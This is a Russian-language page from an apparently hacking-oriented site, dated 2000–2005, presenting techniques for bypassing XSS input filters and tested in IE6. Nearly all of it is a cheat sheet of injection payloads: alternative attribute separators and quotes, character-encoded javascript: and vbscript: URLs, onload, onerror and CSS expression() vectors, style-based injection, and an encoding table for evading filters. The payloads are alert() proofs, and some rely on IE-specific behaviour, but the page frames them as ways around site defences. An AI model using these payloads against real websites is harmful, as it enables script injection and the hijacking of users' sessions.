| 
 
.::Главная::. Гостевая Hack $oft Video vzlom Статьи Разное Hack Магазин .::Написать::.

.::XSS атака::.


Один из основных методов защиты сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы. В данной заметке описаны особенности синтаксиса HTML, позволяющие обходить эти фильтры.
Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях или в других браузерах, примеры могут и не работать. Например символ обратного апострофа (`) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, не считают этот символ огрничителем.

• Разделители атрибутов тега.

Помимо пробела, можно использовать символы: слеш(/), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки.
<image/src="1.png"/alt="Подсказка"/border="0">
<image src="1.png" alt="Подсказка" border="0">
<image
src="1.png"
alt="Подсказка"
border="0">
<image src="1.png"alt="Подсказка"border="0">

• Ограничители атрибутов тега

Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.
<image src="" alt="Моя подсказка" border="0">
<image src="" alt='Моя подсказка' border="0">
<image src="" alt=`Моя подсказка` border="0">
<image src="" alt=Подсказка border="0">

• Кодировки символов

Расшифровка символов в скрипте происходит до его выполнения:
<img src=javascript:alert("ok")>
<img src=javascript:alert('ok')>
<img src=javascript:a&
#108ert('ok')>
<a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)

• Ограничители символьных литералов в скриптах

Помимо апстрофа и кавычек, можно использовать слеш (только в этом случае эти слеши будут частью текста).
<img src=javascript:alert('ok')>
<img src=javascript:alert("ok")>
<img src=javascript:alert(/ok/)>

• Способы запуска скриптов

Несколько способов автоматического запуска скриптов:
<script>alert('ok')</script>
<script src=1.js></script>
<body onLoad=alert('ok')>
<meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
<image src=1.png onload=alert('ok')>
<image src=javascript:alert('ok')>
<image src="" onerror=alert('ok')>
<hr style=background:url(javascript:alert('ok'))>
<span style=top:expression(alert('ok'))></span>
<span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз)
<style type="text/css">@import url(javascript:alert('ok'));</style>
<object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object>
<embed src=javascript:alert('ok');this.avi>
<embed src=javascript:alert('ok');this.wav>
<iframe src=javascript:alert('ok')> (только в IE)
<a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке)
<a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> (запуск только при клике по ссылке)

• Различные скриптовые протоколы, способы их написания

<img src=javascript:alert()>
<img src=vbscript:AleRt()>
<img src=JaVasCriPt:alert()>
<img src=javascript:alert()>
<img src=javascript :alert()>
<img src=javascript
:alert()>
<img src=javascript
:alert()>
<img src="javascript :alert()"> (перед двоеточием - символ табуляции)
<img src="java scri
pt:ale rt()"> (внутри слова javascript - символ табуляции и возврат каретки)

• Вставки скриптов в style

Операторы скрипта в атрибуте style нужно разделять "\;".
<hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>

• Специальные теги.

<image src="1.png" alt="" border="0"> (тег img и image работают одинаково)
<plaintext> (все что будет идти после этого тега не будет восприниматься как как обычный текст - не HTML)
<textarea> (все что будет идти после этого тега не будет восприниматься как как обычный текст - не HTML)
<xml> (все что будет идти после этого тега не будет отображаться)

• Таблица часто применяемых кодов:

Символ Десятичная 16-ая Символьная URL
кодировка кодировка кодировка кодировка
 
Символ Десятичная кодировка 16-ая кодировка* Символьная кодировка URL-кодировка
" &#34 &#x22; &quot %22
' &#39 &#x27;   %27
` &#96 &#x60;   %60
<пробел> &#32 &#x20;   +
<табуляция> &#9 &#x09;   %09
<возврат каретки> &#13 &#x0D;   %0D
= &#61 &#x3D;   %3D
< &#60 &#x3C; &lt %3C
> &#62 &#x3E; &gt %3E
\ &#92 &#x5C;   %5C
% &#37 &#x25;   %25
+ &#43 &#x2B;   %2B
<короткий дефис> &#173 &#xAD; &shy %AD
& &#38 &#x26; &amp %26


*-в некоторых случаях точку с запятой можно опустить (если символ стоит в конце строки, или подряд идут несколько символов в данной кодировке).

P.S. Об использовании описанных методов смотрите также http://antichat.ru/crackchat





Дизайн и разработка сайта  Project.Lepest "Проект Amega"

© 2000-2005 Все права защищены и охраняются законом.

Сайт управляется системой uCoz